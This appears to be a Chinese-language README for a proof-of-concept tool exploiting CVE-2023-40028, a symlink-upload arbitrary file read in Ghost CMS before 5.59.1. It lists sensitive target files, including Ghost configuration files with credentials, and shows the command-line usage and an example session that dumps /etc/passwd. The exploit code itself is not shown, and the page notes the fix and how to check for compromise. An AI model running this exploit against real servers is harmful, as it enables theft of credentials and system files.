CVE-2023-40028: Ghost CMS 任意文件读取

描述

本概念验证（POC）可用于利用 CVE-2023-40028 实现对 Ghost CMS 的文件读取访问。

Ghost 是一个开源内容管理系统（CMS）。5.59.1 之前的版本存在一个漏洞，允许认证用户上传符号链接文件。此漏洞可被利用来读取主机操作系统上的任意文件。站点管理员可以通过检查 Ghost 的 content/ 文件夹中是否存在未知的符号链接来确认该问题是否已被利用。5.59.1 版本已修复此问题。建议所有用户升级。目前没有已知的临时解决方案。

严重性: 6.5 中等向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

一些可能感兴趣的纯文本非二进制文件：

/etc/hosts Linux 本地 DNS 解析
/etc/passwd Linux 用户账号
/etc/group Linux 用户组
/var/lib/ghost/config.local.json Ghost CMS 本地配置
/var/lib/ghost/config.production.json Ghost CMS 生产配置

使用

usage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]

POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)

options:
  -h, --help            显示此帮助信息并退出
  -t URL, --url URL     目标 Ghost CMS 的 URL（例如 http://target-ghost-cms）
  -f FILE, --file FILE  要读取的文件路径
  -u USERNAME, --username USERNAME
                        用于认证的用户名
  -p PASSWORD, --password PASSWORD
                        用于认证的密码
  -c COOKIE, --cookie COOKIE
                        用于认证的 Cookie
  -x PROXY, --proxy PROXY
                        发送请求时使用的 HTTP(s) 代理（例如 -p http://127.0.0.1:8080）
  --timeout TIMEOUT     请求超时时间
  -a USERAGENT, --useragent USERAGENT
                        发送请求时使用的用户代理

示例

$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'                                      
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.

Welcome to the Ghost file-read shell. Type help or ? to list commands.

file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

CVE-2023-40028

最受欢迎

CVE-2023-40028: Ghost CMS 任意文件读取

描述

使用

示例

参考资料